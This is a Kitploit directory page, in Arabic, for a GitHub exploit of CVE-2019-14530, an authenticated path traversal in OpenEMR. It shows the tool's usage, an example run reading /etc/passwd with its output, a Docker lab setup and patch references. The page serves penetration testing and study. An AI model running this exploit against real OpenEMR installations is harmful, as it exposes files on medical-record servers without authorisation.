Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
exploit-CVE-2019-14530 — OpenEMR < 5.0.2 - (مُصادَق) اجتياز المسار - كشف الملفات المحلية | Kitploit
أدوات/GitHubGitHub/sec-it/exploit-cve-2019-14530
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHubsec-it/exploit-cve-2019-14530

exploit-CVE-2019-14530

OpenEMR < 5.0.2 - (مُصادَق) اجتياز المسار - كشف الملفات المحلية

عرض المستودع
412منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال OpenEMR CVE-2019-14530

OpenEMR < 5.0.2 - (مُصادق) تجاوز المسار - إفشاء الملف المحلي

استغلال لـ CVE-2019-14530.

[EDB-50087] [PacketStorm]

الاستخدام

root@kitploit:~
$ ruby exploit.rb -h                                              
OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure

Source: https://github.com/sec-it/exploit-CVE-2019-14530

Usage:
  exploit.rb exploit <url> <filename> <username> <password> [--debug]
  exploit.rb -h | --help

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <filename>  Filename of the file to be read
  <username>  Username of the admin
  <password>  Password of the admin
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb exploit http://example.org/openemr /etc/passwd admin pass
  exploit.rb exploit https://example.org:5000/ /etc/passwd admin pas

مثال

root@kitploit:~
$ ruby exploit.rb exploit http://172.21.0.2 /etc/passwd admin pass
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin

المتطلبات

  • httpx
  • docopt.rb

مثال باستخدام gem:

root@kitploit:~
bundle install
# or
gem install httpx docopt

نشر البرنامج الضعيف عبر Docker

تحذير: هذا الإعداد بالطبع غير مناسب للاستخدام الإنتاجي!

root@kitploit:~
$ sudo docker-compose up

القيود

  • القراءة: بالطبع أنت تقرأ بصلاحيات مستخدم الويب، لذا لا تتوقع قراءة ملفات الجذر

المراجع

  • البرنامج المستهدف: OpenEMR
    • Homepage: https://www.open-emr.org/
    • Source: https://github.com/openemr/openemr
    • Docker: انظر docker-compose.yml
    • الإصدار الضعيف: < 5.0.2 (يعني حتى 5.0.1.7)
    • Patch: https://github.com/openemr/openemr/pull/2592/files

هذه إعادة كتابة أفضل لـ EDB-50037.

تم العثور على الثغرة بواسطة Wezery.

تحليل الاستغلال الأصلي والثغرة:

  • ثغرة تجاوز المسار - PDF
  • README#Description
تنزيل الأداة